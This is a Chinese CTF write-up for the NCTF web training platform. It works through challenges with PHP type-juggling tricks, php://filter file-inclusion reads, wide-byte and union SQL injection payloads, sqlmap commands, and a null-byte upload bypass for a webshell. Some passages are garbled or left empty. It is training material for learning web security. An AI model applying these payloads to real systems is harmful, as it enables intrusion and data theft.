NCTF 南京邮电大学网络攻防训练平台 WriteUp


 

1.签到题(50)

直接查看网页源码

2.md5 collision(50)

源码如下:

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

 1.$a不等于'QNKCDZO' 但$a的MD5等于'QNKCDZO'的MD5
这想想也是不可能的事,此中必有蹊跷
2.观察发现md5('QNKCDZO')='0e830400451993494058024219903391'
3.在php中==号为弱比较'0e'开头剩下的全为数字不管数字是多少==恒成立
因为'0e***'==0


所以下一步的目的很明显制造开头为 ‘0e’ 的MD5字符串

1 浅谈HTTP中Get与Post的区别 2 Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。URL全称是资源描述符,我们可以这样认为:
一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。
到这里,大家应该有个大概的了解了,GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 3 4 表面现像上面看看GET和POST的区别: 5 6   1.GET请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL和传输数据,参数之间以&相连,
如:login.action?name=hyddd&password=idontknow&verify=%E4%BD%A0%E5%A5%BD。如果数据是英文字母/数字,原样发送,如果是空格,转换为+,
如果是中文/其他字符,则直接把字符串用BASE64加密,得出如:%E4%BD%A0%E5%A5%BD,其中%XX中的XX为该符号以16进制表示的ASCII。 7 8   POST把提交的数据则放置在是HTTP包的包体中。

 

0e开头MD5值小结

这里将$a=aabg7XSs

http://chinalover.sinaapp.com/web19/?a=aabg7XSs

得到flag:nctf{md5_collision_is_easy}

 

3.签到2(50)

网页源码如下:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登录或口令错误<form action="./index.php" method="post">
    <p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
    请输入口令:zhimakaimen
    <input type="submit" value="开门">
</form>

</html>

 

 

<p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
    请输入口令:zhimakaimen

输入的口令长度为11,而他html源码限制的长度为10

 

处理方法有两种:

1、利用FF浏览器自带插件,我这里用的是Firefox的hackbar插件,直接越过HTML代码直接进行post传递

2、利用burpsuit工具直接在http头上稍作修改,只需将text1赋值为zhimakaimen即可

  2.1、在FF浏览器中安装Autoproxy,配置

配置FF浏览器代理

  2.2、安装Burp suite,配置proxy提供一个直观、友好的用户界面,他的代理服务器包含非常详细的拦截规则,并能准确分析HTTP 消息的结构与内容。

现在我们可以再浏览器中输入我们要检查的网站。你会看到burp 套件工具,proxy 选项卡上会亮起红色,表示它需要你的输入。默认行为是拦截设置为ON,这意味着它捕获的所有发送请求,然后要求用户输入,以决定是否数据包将被转发或丢弃。你可以转发,并观看页面载入目标网站。如果你嫌麻烦那你可以INTECEPTOR Off,只是手动抓取的网站,将捕获的数据发送到“历史记录”选项卡,你可以手动检查审查和测试。

  2.3、打开Autoproxy“全局代理”模式。

在输入框随便输入一串“qwqwqw”

将text1=qwqwqw改为text1=zhimakaimen

Burpsuite选择Foward

出来FLAG

 

这题不是WEB(100)


打开之后有个猫的图片
将猫图片下载至桌面
用txt打开此文档

最后为flag:nctf{photo_can_also_hid3_msg}

 

5.层层递进(100)

看源码,发现了个src="SO.html"
点进去看看,又是一个src="SO.html"
层层递进估计就这意思吧,继续点
在不知道点了几次之后src="404.html"
点进去

<!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

竖着看-后面的字符,就是flag。flag:nctf{this_is_a_fl4g}

6.AAencode(100)

 

7.单身二十年(100)

看源码,有个<a href="./search_key.php">_到这里找key__</a>
点进去,flag就在里面~

 

8.你从哪里来(100)

 

9.php decode(100)

 

 1 <?php
 2 function CLsI($ZzvSWE) {
 3 
 4     $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 5 
 6     for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 7 
 8         $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 9 
10     }
11 
12     return $ZzvSWE;
13 
14 }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
15 
16 ====================
17 改成
18 echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")
19 放在php里直接运行,得出结果
20 flag:nctf{gzip_base64_hhhhhh}

 

搭建PHPStudy

在D:\phpStudy\WWW 目录创建620.php文件,打开下命令窗口(shift+左键),输入php 620.php,运行

10.文件包含(150)

 关于文件包含。题目提示是一个LFI的漏洞。访问连接http://4.chinalover.sinaapp.com/web7/index.php?file=show.php这就是一个典型的文件包含的漏洞
遇到了这样的文件包含漏洞,就可以使用filter的方式读取php的源代码了。用法如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

网页返回的就是index.php的源代码的base64编码,解码之后得到FLAG

先了解一下php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
同时我也借此机会学到了文件读取的相关知识。

  • include “test.php”php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter进行过滤,返回值为0,1。
  • readfile(“test.php”)是将文件以数据流的形式读取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。
  • file_get_contents(“test.php”)返回值为文本内容

    此题运用的就是关于数据流过滤的文件包含,我们一般在进行文件包含的时候都这么写include “test.php”获得的就是test.php直接解析出来。但如果运用readfile(“test.php”) 就不进行解析,导致无法在浏览器前台进行显示。那么问题来了看题

注解:
1.php://filter/可用于处理打开的数据流,起到过滤作用。如果源文件为.php则很有可能在前台显示不出来。
2.此时我们采用的方法是,先让文件转化为base64格式(convert.base64-encode)然后再输出,这样不论是什么格式的文件都可以在前台输出。
3.再次解码就可得到源代码。

 

11 .单身一百年也没用(150)

直接查看请求头

 

 

12 .Download~!(200)

查看页面源码:

“eGluZ3hpbmdkaWFuZGVuZy5tcDM=”解码就是
xingxingdiandeng.mp3
看来文件名要经过base64加密
发现?url=前有一个download.php,是否能将这个php文件下载下来。

后面的url的参数的值就是对应的文件名。这姑且可以算作是一个简单的文件包含了。url是可控的,我们将url的参数替换为download.php的base64编码即可。

http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw

就可以将download.php下载下来。
通过查看download.php的源代码,发现其中还存在一个hereiskey.php文件。使用同样的方式查看hereiskey.php的源代码就可以得到flag了。

13 .COOKIE(200)

通过题目就知道始于cookie有关的。通过Burpsuite抓包,发现在响应包中存在Set-Cookie: Login=0。根据这个暗示,只需要将cookie设置为Login=1就可以得到flag了。

 

14.MYSQL(200)

根据题目提示查看题目下面的robots.txt文件

http://chinalover.sinaapp.com/web11/robots.txt

 

别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}

 

根据提示需要访问sql.php,同时需要提供参数id。既然限制了直接输入1024,说明要查的id很有可能就是1024.

这道题目的关键地方是在于intval()函数,将一个字符串转换为int类型。那么就很简单了。

http://chinalover.sinaapp.com/web11/sql.php?id=1024.3

 

得到FLAG

15.sql injection 3(200)

宽字节注入,http://www.2cto.com/article/201301/182881.html,可以看看,也可以自己各种百度,
不上图了,直接上代码:
爆库id = %df' union select 1,database() %23
得到库名 sae-chinalover
爆表id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23 爆表
得到表名 ctf,ctf2,ctf3,ctf4,news


暴字段ctf4表

id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctf4' %23

因为宽字节,报错

 

于是将ctf4进行十六进制编码。0x63746634

%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23

//  逐个尝试表 ctf,ctf2,ctf3,ctf4,news,直到表ctf4(十六进制编码0x63746634)
得到字段名 id,flag
暴内容 id=%df' union select 1,group_concat(id,flag) from ctf4 %23
得到flag

sqlmap.py -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' -v 3 --dbms MYSQL --dbs
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --current-db     \\获取当前数据库名称
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --tables -D "sae-chinalover"   \\获取当前表名
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --columns -T "ctf2" -D "sae-chinalover"    \\获取字段

16./x00(200)

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。如果匹配成功返回true,否则,则返回false.

strpos(str1,str2):查找str2在str1的位置,如果找到返回True否则FALSE;

从代码中我们知道,这道题目要求输入getkey,但是这个值首先必须要是数字,然后这个值又必须含有givemeky这个字符串。这道题目需要用到ereg()函数的%00字符串截断漏洞。具体就是当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。那么我们输入的字符串为:getkey=1%00givemekey。这样就可以绕过验证,拿到key.

ereg()有两个漏洞reg有两个漏洞

  1. %00截断及遇到%00则默认为字符串的结束
  2. 当ntf为数组时它的返回值不是FALSE

所以有两个方法去攻这道题目
1.令id=1%00%23biubiubiu
2.令nctf为数组则,nctf[]=1

17.bypass again(200)

既要a!=b,又要md5(a)===md5(b)
做法和上一题一样,传数组让md5()出错,返回null,那么判断的时候就是null===null

index.php?a[]=1&b[]=2 

18.变量覆盖(200)

总的来说是extract() 函数从数组中将变量导入到当前的符号表。
典型的变量覆盖

那么只要post pass和thepassword_123(值要相等)覆盖掉默认的thepassword_123的值,就可以得到flag了

 if ($pass == $thepassword_123) { ?>
 只需要覆盖$pass、$thepassword_123这两个变量使他们相等即可

 

19.PHP是世界上最好的语言(250)

打开index.txt

if(eregi("hackerDJ",$_GET[id]))  //id与hackerDJ不能相同
$_GET[id] = urldecode($_GET[id]) //id又经历了一次URL解码
if($_GET[id] == "hackerDJ")//解码后的id与hackerDJ相同


这下子好办了两次URL加密即可 ,只加密前一个字符
其实url编码就是一个字符ascii码的十六进制。
h的URL编码为%68,在进行一次编码后为%2568
则令id=%2568ackerDJ

 

eregi — 不区分大小写的正则表达式匹配.那也就是说,不能使id=hackerDJ,但是又要经过urldecode()后== “hackerDJ”.那么我们可以把”hackerDJ”进行url编码,再把编码再次进行编码.即(%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61)

20.伪装者(250)

 

21.Header(250)

直接看报头

 

22.上传绕过(250)

上传一个1.jpg文件

 

这里写图片描述
必须是php文件才行啊!

然后就上传1.php文件
然后报的提示是这样的
这里写图片描述
只允许上传 jpg,GIF ,png后缀的文件

这才意识到我要上传.jpg的文件让他识别为.php的文件,怎么才能做到呢???
看她的第一个错误提示它是怎么识别文件后缀的
它是根据./uploads目录下的basename进行识别的
在我们上传的时候会出现./uploads

命名规则是./uploads1.php & 1.jpg

在/uploads/后面加上1.php+(这里可以随便加一个字符,比如“+”,“空格”)

进制,“+”改成“00”,这样可以截断.

0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go

 上传一句话木马,命名 a.php+1.jpg

burp 抓包,send to repeater

在Repeater下改 Hex

将“+” 也就是2b改成00  (可以截断)

 

 

 

23.SQL注入1(300)

 1 <?php
 2 if($_POST[user] && $_POST[pass]) {
 3     mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
 4   mysql_select_db(SAE_MYSQL_DB);
 5   $user = trim($_POST[user]);
 6   $pass = md5(trim($_POST[pass]));
 7   $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
 8     echo '</br>'.$sql;
 9   $query = mysql_fetch_array(mysql_query($sql));
10   if($query[user]=="admin") {
11       echo "<p>Logged in! flag:******************** </p>";
12   }
13   if($query[user] != "admin") {
14     echo("<p>You are not admin!</p>");
15   }
16 }
17 echo $query[user];
18 ?>


这里trim起到过滤字符串两端空格的作用

代码的意思就是post user与pass,然后提交post的user必须是admin.但是密码不知道,所以就得在$sql=这句想办法绕过and (pw='".$pass."') 这段
所以构造的语句就是这样
admin’)#.
验证一下对不对.这时$sql就是

"select user from ctf where (user='admin')#."') and (pw='".$pass."')"

"select user from ctf where (user='admin')

 24.pass check(300)

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
//tip:strcmp(array,string)=null=0

strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,stringstr2 ),需要给strcmp()传递2个string类型的参数。

如果str1小于str2,返回-1,相等返回0,否则返回1。

strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。
如果传入给出strcmp()的参数是数字呢?

1 $array=[1,2,3];
2 var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

 1 <?php  2  function noother_says_correct($number)  3 {  4         $one = ord('1');  5         $nine = ord('9');  6         for ($i = 0; $i < strlen($number); $i++)  7  {  8                 $digit = ord($number{$i});  9                 if ( ($digit >= $one) && ($digit <= $nine) ) 10  { 11                         return false; 12  } 13  } 14            return $number == '54975581388'; 15 }
// 让number == ‘54975581388’,并且number每个字符与’54975581388’都不同
// ord() 函数返回字符串的首个字符的 ASCII 值。
16 $flag='*******'; 17 if(noother_says_correct($_GET['key'])) 18 echo $flag; 19 else 20 echo 'access denied'; 21 ?>
//====================
当其中的一个字符串是0x开头的时候,PHP会将此字符串解析成为十进制然后再进行比较。
54975581388==0xccccccccc
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

26.密码重置(300)

点重置密码

1 http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
// Load URL 3 http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
//Y3RmdXNlcg== base64解码就是 ctfuser

将admin 进行BASE64编码 得到  YWRtaW4=

修改地址栏:

http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4=

1 <meta http-equiv="content-type" content="text/html;charset=utf-8">
2     <head><title>密码找回</title></head>
3     <form action="" method="post">
4         你的账号:<input type="text" value="ctfuser" name="user" readonly="readonly"></br>
5         新密码:<input type="password" name="newpass"></br>
6         验证码:1234<input type="text" name="vcode" size="4" maxlength="4"></br>
7         <input type="submit" value="重置">
8     </form>
9 </html>

 

也可以用Burp suite抓包,改包

 

27.php 反序列化(300)

无法访问

28.sql injection 4(300)

 1 'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';  2 SELECT * FROM users WHERE name=\'$username\' AND pass=\'$password\';  3 
 4 如果试图注释掉pass  5 SELECT * FROM users WHERE name=\'admin#\' AND pass=\'$password\';  6  7 SELECT * FROM users WHERE name=\'admin  8 不可行(因为存在htmlentities()函数)  9 
10 如果试图插入or 1=1 11 那么应使 12 name=\'$username\' AND pass=\'(php中) 13 name='$username' AND pass='(sql中) 14$username后有个'会使得前面的'闭合,通过添加\可使原来的\'变为\\',使得转义'失效(php中).即\'\\' AND pass=\'.即'\' AND pass='.此时name='\' AND pass='
15 那么$password就是or 1=1# 16 所以 17 post 的语句为?username=\&password=or 1=1%23
18 php中的语句为SELECT * FROM users WHERE name='\' AND pass='or 1=1#';
19 sql中的语句为SELECT * FROM users WHERE name='\' AND pass=' or 1=1
=====================
无法理解

29.综合题(300)

点进去,在实验室题目做过,是jsfuck(http://www.jsfuck.com/)

回去构造链接(http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php)

提示tip在脑袋(head)里,那看头咯,返回包里有tip,提示history of bash

不知道什么玩意,百度咯,可以看看(http://blog.csdn.net/pan_tian/article/details/7715436)

用法就是http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

打开提示一个zip文件,下载就好了

http://teamxlc.sinaapp.com/web3/flagbak.zip

flag is:nctf{bash_history_means_what}

30.system  300

 

31.SQL注入2(400)

 1 <?php  2 if($_POST[user] && $_POST[pass]) {  3    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);  4   mysql_select_db(SAE_MYSQL_DB);  5   $user = $_POST[user];  6   $pass = md5($_POST[pass]);  7   $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));  8   if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {  9       echo "<p>Logged in! Key: ntcf{**************} </p>"; 10  } 11   else { 12     echo("<p>Log in failure!</p>"); 13  } 14 } 15 ?>
//============================
我们从数据库取出的pw要和我们输入的pass经过md5()后相等.
由于不知道pw的值,所以就不能用where user=admin这个语句来取,所以这个where必须为假.
select pw from ctf where user=admin and 1=2  // user可以随便输入一个值

而又要取出pw,所以利用union可以这么构造

1 select pw from ctf where user=admin and 1=2 union select md5(1)

既然取出的pw是1的md5值,那么在提交pass的时候就为1

所以username=admin' and 1=2 union select md5(1)#
password=1

//========================

admin后的 ' 用来闭合where user='

and 1=2 用来是查询为假,使 select pw from php where user='' AND 0=1 这句话无用

union select 用来联合查询,

UNION SELECT "c4ca4238a0b923820dcc509a6f75849b"   // md5(1)

直接  把MD5值作为返回值retuen给$sql,这样在查询的时候$query就会有值

最后的 # 用来注释掉后面没用的东西

payload:

user=32' union select 'c4ca4238a0b923820dcc509a6f75849b' %23&pass=1

 

32.综合题2(400)

首先映入眼帘的就是一个留言板。凭借一只渣渣web狗不太敏锐的嗅觉,我们可以搜集到以下信息:

这是一个留言板,但不是用来xss的。更何况是综合题,所以猜测可能是拿后台然后getshell的。

既然是拿后台,根据潜规则,必然有SQL注入。图片最明显的就是那个搜索功能。

翻看源码,我们在58行看到了这样一段代码: 本CMS说明。本地文件包含。好东西。目测可以用php流的filter读源码(事实证明其实并不需要filter,因为此处本来就是用来读源码的),然后分析注入过滤.

进入 “本CMS说明”

1 http://cms.nuptzj.cn/about.php?file=sm.txt
//此处可以知道这里有文件包含漏洞,各种更改file=xxxx收集下信息。

 

 1 ===============================华丽的分割线=============================
 2 
 3  本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际  4 顶级的技术所开发,安全性和实用性杠杠滴~&lt;/br&gt;  5 
 6  以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件)  7 config.php:存放数据库信息,移植此CMS时要修改  8 index.php:主页文件  9 passencode.php:Funny公司自写密码加密算法库 10 say.php:用于接收和处理用户留言请求 11 sm.txt:本CMS的说明文档 12 
13 
14 sae的information_schema表好像没法检索,我在这里给出admin表结构 15 create table admin ( 16 id integer,
17 username text,
18 userpass text,
19 ) 20 ========================================================================

首先进行留言搜索。抓包分析数据被POST过去,发送到so.php。

直接访问,发现对UA进行了限制。于是about.php?file=so.php包含一发,发现了不得了的东西:

 1 if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){  2 echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';  3     exit();  4 }  5 $id=$_POST['soid'];  6 include 'config.php';  7 include 'antiinject.php';  8 include 'antixss.php';  9 $id=antiinject($id); 10 $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); 11 mysql_select_db($db_name,$con); 12 $id=mysql_real_escape_string($id); 13 $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 14 $rs=mysql_fetch_array($result);


    我们不妨仔细看看。首先要修改的是UA;然后,要利用的查询语句在执行时有我们POST的参数id,但是id经过

antiinject.php的过滤,因此我们可以看一看antiinject.php是如何过滤的,然后绕过过滤进行注入。因此我们在包含一发antiinject.php

1 $keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','='); 2 $info=strtolower($content); 3 for($i=0;$i&amp;lt;=count($keyword);$i++){ 4     $info=str_replace($keyword[$i], '',$info); 5 } 6 return $info;

 

 

 



 

 

 

 

 

 

 

 


 

请使用手机"扫一扫"x


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM